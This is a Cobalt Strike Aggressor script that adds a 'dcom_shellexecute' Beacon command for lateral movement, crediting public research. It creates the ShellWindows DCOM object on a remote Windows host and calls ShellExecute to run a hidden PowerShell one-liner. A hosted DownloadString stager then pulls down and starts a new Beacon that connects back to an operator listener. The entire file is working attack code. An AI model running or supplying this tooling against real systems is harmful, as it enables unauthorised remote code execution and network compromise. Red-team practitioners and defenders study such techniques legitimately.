dcom_shellexecute.cna

# Lateral movement techniques based on research by enigma0x3 (Matt Nelson)
# https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com-object/
# https://enigma0x3.net/2017/01/23/lateral-movement-via-dcom-round-2/
# Beacon implementation based on comexec.cna by Raphael Mudge
# https://gist.github.com/rsmudge/8b2f699ea212c09201a5cb65650c6fa2

# Register alias
beacon_command_register ("dcom_shellexecute", "Lateral movement with DCOM (ShellExecute)",
                        "Usage: dcom_shellexecute [target] [listener]\n\n" .
                        "Spawn new Beacon on a target via DCOM ShellExecute Object.");

# Alias for dcom_shellexecute
alias dcom_shellexecute {
    if ($3 is $null) {
        # If no listener specified, allow user to choose
        openPayloadHelper(lambda({
            dcom_shellexecute($bid, $target, $1);
                                }, $bid => $1, $target => $2));
    }
    else {
        dcom_shellexecute($1, $2, $3);
    }
}

sub dcom_shellexecute {
    local('$payload $cmd');

    # Acknowledge task
    btask($1, "Tasked Beacon to run (" . listener_describe($3, $2) . ") via DCOM ShellExecute");

    # Generate PowerShell one-liner for payload
    $payload = powershell($3, true, "x86");
    $payload = strrep($payload, "powershell.exe ", "");

    # Create new DCOM ShellExecute object on remote host
    $cmd = '[Activator]::CreateInstance([type]::GetTypeFromCLSID("9BA05972-F6A8-11CF-A442-00A0C90A8F39", "';
    $cmd .= $2;
    $cmd .= '")).Item().Document.Application.ShellExecute("powershell.exe", "';
    $cmd .= $payload;
    $cmd .= '", "C:\Windows\System32\WindowsPowershell\v1.0",';
    $cmd .= '$null,0)';

    # Use beacon_host_script to generate a shorter DownloadString
    # payload that we can use w/ make_token
    $short = beacon_host_script($1, $cmd);

    bpowershell($1, $short);
}